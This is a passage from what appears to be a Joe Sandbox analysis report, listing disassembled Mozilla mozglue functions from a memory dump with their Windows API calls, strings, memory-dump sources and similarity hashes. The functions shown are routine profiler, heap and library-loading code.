ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA06727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA067C8

Part of subcall function 6CA14290: memcpy.VCRUNTIME140(?,?,6CA22003,6CA20AD9,?,6CA20AD9,00000000,?,6CA20AD9,?,00000004,?,6CA21A62,?,6CA22003,?), ref: 6CA142C4

Strings

data, xrefs: 6CA06593

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: d0082d97a1081fe538fc2f8c10f00bafe3f07d7885798d87933c817c74544c54
Instruction ID: 491602024a01abb653ab8e326674d89a3b42c7c4debb3598544ebe34f8768c96
Opcode Fuzzy Hash: d0082d97a1081fe538fc2f8c10f00bafe3f07d7885798d87933c817c74544c54
Instruction Fuzzy Hash: 0DD1BC75A083408BD724DF28D851B9AB7E1AFD534CF14892DE589D7B50EB30E889CB52

Function 6C9FD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C9CEB57,?,?,?,?,?,?,?,?,?), ref: 6C9FD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C9CEB57,?), ref: 6C9FD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C9CEB57,?), ref: 6C9FD673
free.MOZGLUE(?), ref: 6C9FD888

Strings

|Enabled, xrefs: 6C9FD81E

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 637e289e32b41f431d3760cc90d70bfcddf3686260213f64ea5852488f24a9b4
Instruction ID: b707f7f4fadc5aa4503dc31394d29f39fc3f80a7bae38f243fecf70570d95f4b
Opcode Fuzzy Hash: 637e289e32b41f431d3760cc90d70bfcddf3686260213f64ea5852488f24a9b4
Instruction Fuzzy Hash: A4A136B1A003498FDB05CF68C8907EEBBF5AF59318F14805CD8A9AB741D731E946CBA1

Function 6C9FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C9FF480

Part of subcall function 6C9CF100: LoadLibraryW.KERNEL32(shell32,?,6CA3D020), ref: 6C9CF122
Part of subcall function 6C9CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C9CF132

CloseHandle.KERNEL32(00000000), ref: 6C9FF555

Part of subcall function 6C9D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C9D1248,6C9D1248,?), ref: 6C9D14C9
Part of subcall function 6C9D14B0: memcpy.VCRUNTIME140(?,6C9D1248,00000000,?,6C9D1248,?), ref: 6C9D14EF

Part of subcall function 6C9CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C9CEEE3

CreateFileW.KERNEL32 ref: 6C9FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C9FF523

Strings

\oleacc.dll, xrefs: 6C9FF4CB

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 45e89363b075c79d3a9052efb33fa9709a18db1a954059bd0bc7c40e6d83ce16
Instruction ID: 338ecda39aed542a1abad5cad3003bbd43b6aa7d1548d4f0a3e2191f0b362e43
Opcode Fuzzy Hash: 45e89363b075c79d3a9052efb33fa9709a18db1a954059bd0bc7c40e6d83ce16
Instruction Fuzzy Hash: A041D2306087119FE721DF68C884BABB7F4AF9531CF104A1CF5A183650EB34E94ACB92

Function 6CA0E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C9D4A68), ref: 6CA0945E
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA09470
Part of subcall function 6CA09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA09482
Part of subcall function 6CA09420: __Init_thread_footer.LIBCMT ref: 6CA0949F

GetCurrentThreadId.KERNEL32 ref: 6CA0E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA0E04F

Part of subcall function 6CA094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA094EE
Part of subcall function 6CA094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA09508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA0E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA0E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CA0E057

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 7ac4bcf4f4d8298b03ee5fd9c3717d731844ea969b2412102dadc6709e9cdf53
Instruction ID: d00f774640b5a7a0d20c5c4aba350ec85cf5e08cb68623538b6d4886d197cca7
Opcode Fuzzy Hash: 7ac4bcf4f4d8298b03ee5fd9c3717d731844ea969b2412102dadc6709e9cdf53
Instruction Fuzzy Hash: 7B21F874B012054FCF04DF64E9586EEB7B5AF8534CF148014EC4A97740DB32994AC7D1

Function 6CA274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CA27526
__Init_thread_footer.LIBCMT ref: 6CA27566
__Init_thread_footer.LIBCMT ref: 6CA27597

Strings

kernel32.dll, xrefs: 6CA27557
UnmapViewOfFile2, xrefs: 6CA27552

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 9718d46f4fec088544ba00ea5671a8e7a904ca07d55b7439eaff1ee51e5036b4
Instruction ID: 5716970a3c87f770b87db5b6efbaab5d435a76ca46751f3636cc619c8b0530d5
Opcode Fuzzy Hash: 9718d46f4fec088544ba00ea5671a8e7a904ca07d55b7439eaff1ee51e5036b4
Instruction Fuzzy Hash: 2D2106317006129BCB189FE8CC14E5A7375EB46329F09C12DD80197F40CB2DA9838665

Function 6CA2A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4F770,-00000001,?,6CA3E330,?,6C9EBDF7), ref: 6CA2A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C9EBDF7), ref: 6CA2A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C9EBDF7), ref: 6CA2A7E4
LeaveCriticalSection.KERNEL32(6CA4F770), ref: 6CA2A80A

Strings

accelerator.dll, xrefs: 6CA2A7BF

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 42dd712844c5add2a6f519ddbbdea253f50e66816f846e449d17fe5daccd27eb
Instruction ID: e6d21394c1e160db520821ceaf9c50f9cfe199084a2e146813df392d6fec0275
Opcode Fuzzy Hash: 42dd712844c5add2a6f519ddbbdea253f50e66816f846e449d17fe5daccd27eb
Instruction Fuzzy Hash: A3018BB16003149FAB08DF99DC85C15BBF9FB8A329709C06AE909CB741DB75AC40CBA0

Function 6C9CF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C9CEE51,?), ref: 6C9CF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C9CF0C2

Strings

ole32, xrefs: 6C9CF0AD
Could not find CoTaskMemFree, xrefs: 6C9CF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C9CF0DC

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 063bf9ed197fbc1068a7d8aa538e771a5aed64eda5595a3d5ca85f6fad4dbb28
Instruction ID: aa925cea2cb89e2efa02db3582a97979acfab8d9813399fd0dc1a75aac227850
Opcode Fuzzy Hash: 063bf9ed197fbc1068a7d8aa538e771a5aed64eda5595a3d5ca85f6fad4dbb28
Instruction Fuzzy Hash: 77E0DF70345303DFAF08EA66A809A3A3BBC7B52A4E324C13DE612C1E00EB22D0518633

Function 6CA00080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C9D7204), ref: 6CA00088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CA000A7
FreeLibrary.KERNEL32(?,6C9D7204), ref: 6CA000BE

Strings

wintrust.dll, xrefs: 6CA00083
CryptCATAdminAcquireContext2, xrefs: 6CA000A1

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: c78befb2d2ddb2d738444d127fb14561a6b651a34d0fca001a89ba769d7cd33e
Instruction ID: 468e04cbca7dd6412fbe18c321d32e5e813d97dc96a6318597da24553ef44167
Opcode Fuzzy Hash: c78befb2d2ddb2d738444d127fb14561a6b651a34d0fca001a89ba769d7cd33e
Instruction Fuzzy Hash: CEE01A703007029BDF08BF66AC0CB057AF8B70B38DF10D119E910C6640DB77C0828B21

Function 6CA000D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C9D7235), ref: 6CA000D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CA000F7
FreeLibrary.KERNEL32(?,6C9D7235), ref: 6CA0010E

Strings

wintrust.dll, xrefs: 6CA000D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CA000F1

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: f930c2639fb097e397bb302863a1b60e200f07e31c5a8469ddfede89a62f143b
Instruction ID: 15a18853b2f2beb44329d12c2d4f97d27fca0a4e9cbf6e292ce4d3d24b0bdee8
Opcode Fuzzy Hash: f930c2639fb097e397bb302863a1b60e200f07e31c5a8469ddfede89a62f143b
Instruction Fuzzy Hash: D1E04F703457079BEF08BF65ED0EF267AF8A70324DF54D019E90985641DBB2C092CB10

Function 6CA2C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA2C0E9), ref: 6CA2C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CA2C437
FreeLibrary.KERNEL32(?,6CA2C0E9), ref: 6CA2C44C

Strings

NtQueryVirtualMemory, xrefs: 6CA2C431
ntdll.dll, xrefs: 6CA2C413

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d8de50eba20211b83ab4add4dea6885db36e323d8bb30d4474045865efbfe01d
Instruction ID: 2abb245198b473cd9174e4e2830b388a1773fa303fcd6b182edc31833e79e829
Opcode Fuzzy Hash: d8de50eba20211b83ab4add4dea6885db36e323d8bb30d4474045865efbfe01d
Instruction Fuzzy Hash: 39E0B6706057039BEF087FB6DD1DB167BF8B74624DF08E21EAA04D9641EBB6C0428B50

Function 6CA275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA2748B,?), ref: 6CA275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CA275D7
FreeLibrary.KERNEL32(?,6CA2748B,?), ref: 6CA275EC

Strings

ntdll.dll, xrefs: 6CA275B3
RtlNtStatusToDosError, xrefs: 6CA275D1

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: f5f7c8366a69930a58d57139b0368bcc35f64fa9a80ccd9d4107e9ca429f0d22
Instruction ID: 0877268cbad4f88e406ea9e64ac86a3fff6707dfb999826ca72aa7d9f2808a16
Opcode Fuzzy Hash: f5f7c8366a69930a58d57139b0368bcc35f64fa9a80ccd9d4107e9ca429f0d22
Instruction Fuzzy Hash: 4BE07E71605703ABEB087BA6DC49B05BAF8EB4621DF14E129AD05E1641EABA8193CF11

Function 6CA27600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA27592), ref: 6CA27608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CA27627
FreeLibrary.KERNEL32(?,6CA27592), ref: 6CA2763C

Strings

ntdll.dll, xrefs: 6CA27603
NtUnmapViewOfSection, xrefs: 6CA27621

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 074a52d71a8503064a7e0287c58aa87828f2b56fc72311b6717075443997844b
Instruction ID: 443e105ea1f52d8e1215eb0559a8b0902cf8358bc2b7a86ce6df5577facefb60
Opcode Fuzzy Hash: 074a52d71a8503064a7e0287c58aa87828f2b56fc72311b6717075443997844b
Instruction Fuzzy Hash: DBE012B4200702ABEF087FA6DC09B057EB8F75A25DF04E219ED04D1A00E7BA80428B24

Function 6CA2BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CA2BE49), ref: 6CA2BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CA2BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CA2BE49), ref: 6CA2BF38
RtlReAllocateHeap.NTDLL ref: 6CA2BF83
RtlFreeHeap.NTDLL ref: 6CA2BFA6

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 48a6bb8652bccc999e0ce4fab91ecc95594d3fdb534057aecbcd4ddc61eed1a4
Instruction ID: 99e8b306fd1e81d5efc26e1a791544075be46ee24050c84a4be01f010a1297b7
Opcode Fuzzy Hash: 48a6bb8652bccc999e0ce4fab91ecc95594d3fdb534057aecbcd4ddc61eed1a4
Instruction Fuzzy Hash: 8951A171A002218FE720DF69DD80B9AB3B2FF88314F2D8629D51697B54D734F9468B80

Function 6CA18E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CA0B58D,?,?,?,?,?,?,?,6CA3D734,?,?,?,6CA3D734), ref: 6CA18E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA0B58D,?,?,?,?,?,?,?,6CA3D734,?,?,?,6CA3D734), ref: 6CA18EBF
free.MOZGLUE(?,?,?,?,6CA0B58D,?,?,?,?,?,?,?,6CA3D734,?,?,?), ref: 6CA18F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA0B58D,?,?,?,?,?,?,?,6CA3D734,?,?,?,6CA3D734), ref: 6CA18F46
free.MOZGLUE(?,?,?,?,6CA0B58D,?,?,?,?,?,?,?,6CA3D734,?,?,?), ref: 6CA18F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA0B58D,?,?,?,?,?,?,?,6CA3D734,?,?,?), ref: 6CA18F8F

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a5019cbb90487467eec1c35160ceb1369241500a08dd98087f51b88d80004735
Instruction ID: 099c006b683833cf058133d0e8cba17c012b521891af71f6cfdd633b1faa61ab
Opcode Fuzzy Hash: a5019cbb90487467eec1c35160ceb1369241500a08dd98087f51b88d80004735
Instruction Fuzzy Hash: AB51FAB1A052168FEB14CF58D88076E73B2FF45308F1A452AD916EBB40E732F945CB91

Function 6C9D60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C9D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9D60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C9D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9D6180
free.MOZGLUE(?,?,?,?,6C9D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9D6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C9D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9D6229
free.MOZGLUE(?,?,?,?,6C9D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9D625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9D6271

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 448fccd61aeb526191201cf581e87fe0c700661c477d99ec6f73cf485f0e752e
Instruction ID: 9b5da9d2e43da530f726cf713a4022b12ffd3256321bbb5c3c623dbeb1c4a7ee
Opcode Fuzzy Hash: 448fccd61aeb526191201cf581e87fe0c700661c477d99ec6f73cf485f0e752e
Instruction Fuzzy Hash: DD518EB1A00A068FEB14CFA8D8807AEB7B5EF55308F128839C616E7711E731F659CB51

Function 6CA127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA12620,?,?,?,6CA060AA,6CA05FCB,6CA079A3), ref: 6CA1284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA12620,?,?,?,6CA060AA,6CA05FCB,6CA079A3), ref: 6CA1289A
free.MOZGLUE(?,?,?,6CA12620,?,?,?,6CA060AA,6CA05FCB,6CA079A3), ref: 6CA128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA12620,?,?,?,6CA060AA,6CA05FCB,6CA079A3), ref: 6CA12910
free.MOZGLUE(00000001,?,?,6CA12620,?,?,?,6CA060AA,6CA05FCB,6CA079A3), ref: 6CA1293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CA12620,?,?,?,6CA060AA,6CA05FCB,6CA079A3), ref: 6CA1294E

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
